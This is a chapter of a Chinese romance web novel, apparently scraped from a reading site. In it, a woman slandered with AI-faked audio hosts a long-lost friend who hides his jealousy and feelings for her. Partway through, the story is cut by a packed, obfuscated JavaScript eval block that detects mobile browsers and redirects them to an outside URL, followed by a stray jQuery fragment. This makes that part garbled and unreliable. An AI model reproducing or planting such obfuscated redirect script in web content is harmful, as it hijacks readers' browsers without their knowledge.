25. 第 25 章

作品:《红娘就业指南[久别重逢]

    慕容彬心中大喜,面上却不显,他故作为难道:“会不会让你感觉不太方便?之前你住进来时,我们说好的,我不会随意出入。”


    褚伊童也意识到自己的提议太过突兀,孤男寡女,的确不太适合单独相处。


    她刚想说些话弥补,将此事巧妙揭过,就听慕容彬故意茶言茶语,“我没事的,天还没亮,我先找个酒店洗漱一下,眯一会儿。明天一早再来这边接你去公司办离职。”


    褚伊童一听这话,顿时愧疚感更深,“我可以自己去办理离职手续,你不用特意陪着我过去。”


    慕容彬笑着应话:“事发突然,你工作三年,肯定有不少东西要整理,我正好没事,开车帮你搬一下。而且你打算早上在群里澄清原委,肯定会引起骚动,公司里人心复杂,不免有人说三道四。我长得人高马大,旁人看着还是挺有威慑力的。谁要敢在你面前多嘴,我马上让他见识一下我的拳击训练成果。”


    褚伊童从未见过慕容彬这般故意搞怪的样子,她噗呲一声笑了出来,随后压下嘴角,轻声道谢:“谢谢。”


    慕容彬见褚伊童心情好了很多,唇角微微勾起一个愉悦的弧度,为了让褚伊童减轻心理负担,他故意添了一句:“正好明天我去办下退会手续,你都不在那儿工作了,我也没有留下的必要了。”


    褚伊童赶紧劝道:“虽然孟献安是个混蛋,但是公司之前签约的客户还是有不少靠谱的,你没必要因为我的事,耽误你的相亲进度。”


    慕容彬本就因为想要接近褚伊童而开始相亲,目标都不在了,他自然不想再在相亲公司浪费他的宝贵时间。


    “我是因为信任你,才选择了你们公司。而且最近不是流行一句话嘛。”


    “什么话?”


    “钱的流向,无形中为你所想要创造的世界投了票。”


    褚伊童认真思索,笑着应和:“挺有道理。”


    慕容彬语气很坚定,“当初我在你们公司停留,是被你的人格魅力和能力吸引,与你的老板无关。如今他伤害了你,是个不折不扣的混蛋,我自然要为我的钱做出新的选择。这些钱可以捐出去,可以变成我银行账户里的余额,可是独独不能成为无良老板的利润,不然,我就成了他压榨你和你同事们的帮凶。”


    褚伊童没有再劝,推己及人,换做是她,一个公司的老板出了这种丑闻,她也会在购物或是充值时,选择避雷这家公司。


    不然每一次给这种公司旗下的产品和服务花钱,她都会感觉别扭,感觉自己在助纣为虐。


    褚伊童用指纹打开房门时,屋内的灯光瞬间亮起,慕容彬站在门口,安静的等待着褚伊童唤他进屋。


    “进来呀。你自己家,怎么还这么拘谨。”


    慕容彬见褚伊童如此坦然,才迈着长腿进屋,“打扰了。”


    “你稍等下哈,我帮你找双拖鞋。”


    “好。”


    褚伊童想起之前在网上给弟弟买了双运动品牌的拖鞋,花了五百多块钱,他还没上过脚,他们姐弟俩就闹掰了。她心疼钱,搬家时没有丢掉,她记得就藏在鞋柜深处。


    “找到了。”褚伊童举着好不容易找到的拖鞋放到慕容彬面前,“43码的,你应该能穿。”


    慕容彬看着眼前这款男士拖鞋,顿时神经紧绷起来,他试探着问:“家里还有别人吗?我穿了人家的东西,他会不会不高兴?”


    已经困懵的褚伊童没有听出弦外之音,她一边换鞋,一边温声说道:“家里没别人,你穿吧。”


    始终没有得到想要的确切答案,慕容彬的心高高悬起,没由来的慌乱。


    一个女人家里,出现一双男士拖鞋,无外乎几种情况,要不就是单身女人为了防贼假装家里有男人,买来做伪装的;要不就是曾经的恋人留下的情侣拖鞋;极少数可能,就是家里有男性亲戚同住。


    可刚才伊童说家里没有别人,想必最后一种便可以排除掉。


    那么,就只剩下前两种。


    第一种倒是寻常,可是她张嘴就是43码,对码数了如指掌,似乎并不像是随便买来做防贼工具的,而且这鞋也算是知名运动品牌,价值也得几百块,伊童她似乎也没有富裕到会买几百块的男鞋放着,只为偶尔用来做伪装。


    那么大概率就只剩下第二种可能,这个认知和猜想让慕容彬瞬间蹙眉。


    是呀,自从重逢后,他还没问过伊童是不是有恋人,是不是已经结婚了。


    他们已经28岁了,阔别数年,同龄人单身、恋爱、结婚、生子、离婚、离世,处在哪个阶段的都有。


    他自己母胎单身至今,这些年苦苦等待着伊童的出现,可不代表她就必须和他一样保持单身,全然没有任何感情经历,原地等待。


    慕容彬从一开始被褚伊童邀请回家借住的雀跃欢欣,陷入了无尽的猜测和担忧之中,那种悬而未决却足以改变他们之间关系走向的可能性,险些让他无法呼吸。


    一想到伊童曾经和别人出双入对,她对着别人嘘寒问暖,那种嫉妒就险些逼疯他。


    他很想抓紧询问清楚这些情况,但是看着忙前忙后,给他倒水的褚伊童,他一眼看出了她眼中的疲惫,心中不忍,咽下无数问题,转而关切道:“伊童,我不渴,也不饿。很晚了,你先去睡吧。”


    褚伊童将手中的水杯递给慕容彬,手指着左手边的客卧,“我住这间,主卧我没用过,里面应该有被子和必需品。你需要什么,也可以喊我。”


    慕容彬点头,“好,晚安。”


    褚伊童被慕容彬盯得有些不自在,除了家人,她不曾和陌生男人同处一室过,但是她相信慕容彬的人品,相信他不会害她。


    “晚安。”褚伊童快步朝卧室走去,关门前,她看到慕容彬还在看她,勾唇对他笑了笑,胡乱垫了一句,“做个好梦。”


    慕容彬盯着褚伊童脸颊上的酒窝,心绪万千,攥着水杯的手渐渐收紧,拼命压抑下近乎喷薄而出的嫉妒和好奇,温柔呢喃:“好梦。”


    褚伊童简单洗漱,躺到床上时已经快四点半了。


    一躺到柔软的被子里,她就感觉浑身上下每一处都疼得厉害,可是大脑却分外活跃,许是因为从未遭受过这种污蔑,心中委屈,她的大脑自动不停回想着今天的每个细节。


    她一闭上眼睛,就感觉有人在她耳边循环播放那段AI合成的音频,她的脑海中就会浮现处每一个大群里众人或是戏谑、或是侮辱的讨论。


    在床上辗转了一个小时,褚伊童烦躁地坐起身,想要去冰箱找瓶冰水降降火。


    刚打开门,就看到蜷缩在真皮沙发中的慕容彬。


    褚伊童想凑上去问问慕容彬为什么不去主卧睡,毕竟这里房间那么多,干嘛非要睡在沙发上,可是她又怕将他吵醒,他就会和她一样,再难入睡。


    于是她蹑手蹑脚的调高中央空调的温度,又抓起一旁的毛毯,小心盖在慕容彬身上。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704568|187861||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可是毛毯刚一落在慕容彬身上,他就睁开了锐利的双眼,一把抓住褚伊童的手臂,将人拽到身前。


    两人之间的距离只有十几公分,慕容彬的视线聚焦后,先是一愣,随后他依依不舍的松开了褚伊童的手臂,强压下眼中不断翻涌的占有欲和刚睁眼时那尚未来得及收敛的侵略目光。


    “抱歉,没伤到吧。”


    “没。”褚伊童匆忙从沙发前站起身,揪着身上的小熊家居服,眼神闪躲,“你怎么不进屋睡?”


    慕容彬坐起身,没有回答褚伊童的问题,反倒轻声询问:“怎么了,睡不着吗?”


    褚伊童本想否认,但是见慕容彬起身朝厨房方向走去,她轻声说:“我也是起床喝水。”


    慕容彬却没有倒水,而是打开冰箱,取出一盒牛奶,从柜子里找出一个牛奶锅,打开火,将牛奶倒进锅里。


    “你今天接收的负面信息太多,睡不着也正常。喝些牛奶,应该会好一些。”


    卷着衬衫衣袖的慕容彬站在岛台前,将一杯热牛奶递给褚伊童,“喝吧。”


    褚伊童坐在椅子上,温热的牛奶顺着掌心传来阵阵暖意,她盯着杯中的牛奶看了许久,迟迟没有喝。


    “你牛奶不过敏啊。”慕容彬做到她身边的椅子上,“是心里难受吗?要不我明天给你约个心理医生沟通一下。”


    褚伊童摇头,“我以为我不在意,可是好像并不是这样。一沾枕头,那些人的话就自动在我眼前乱飘。明明他们大多数人根本不是我的客户,对我没什么了解,但是仅凭一段音频、一条语音,他们就自动脑补出一部狗血大戏。他们不在乎我这个当事人究竟作何感受,他们聚在一起狂欢,为了吃瓜而随意攻讦一个陌生人,说出无数下作的话。孟献安固然可恶,可他们又谈何无辜?”


    慕容彬轻轻拍了拍褚伊童的肩膀,“人本就如此,热衷于寻找刺激,三人成虎,众口铄金,很少有人在乎真相如何,只在乎一瞬的狂欢。渐渐忘却了每一片雪花都有重量,加诸在受害者身上的每一句恶言恶语,都可能成为造成雪崩的最后一片雪花。”


    褚伊童无奈的笑了笑,“是呀,他们只是随口说说,我却要花很久才能彻底消化这些伤害。我想,我不仅得告孟献安,群里那些搞不清事实就胡乱传播虚假消息,对我开黄腔,说我私生活混乱的人们,我得一并起诉。”


    慕容彬点头,“好,那就一起告。明天你把手机交接给公司前,我让苏律师将证据一并整理好。”


    褚伊童转头看向慕容彬,眼神如水,语气真挚:“虽然我知道一句谢谢,并不足以回报你给予我的帮助和支持。但是我还是想说,慕容彬,谢谢你。这段时间如果不是偶然遇到你,我想这些事情都会变得格外难挨。”


    慕容彬被褚伊童突然的严肃剖白搞得有些紧张,他很想直接跟她告白,但是此刻说这种话,又显得有些趁人之危。


    经历了男性友人的被刺和伤害,他实在不认为伊童能坦然的接受另一位友人的告白。


    “能和你重逢,我很开心。”慕容彬尽量收敛外放的情绪,压抑内心的激动情绪,可是熬了一整夜的心脏却剧烈跳动,理智那根弦逐渐趋于崩坏,“伊童,我......”


    喜欢你三个字还没来得及说出口,慕容彬就听见褚伊童笑着指向窗外,“你看,天亮了。朝阳,真美啊。”


    慕容彬没有转头,而是不错眼珠的盯着褚伊童兴奋的脸,轻声道:“是呀,真美啊。”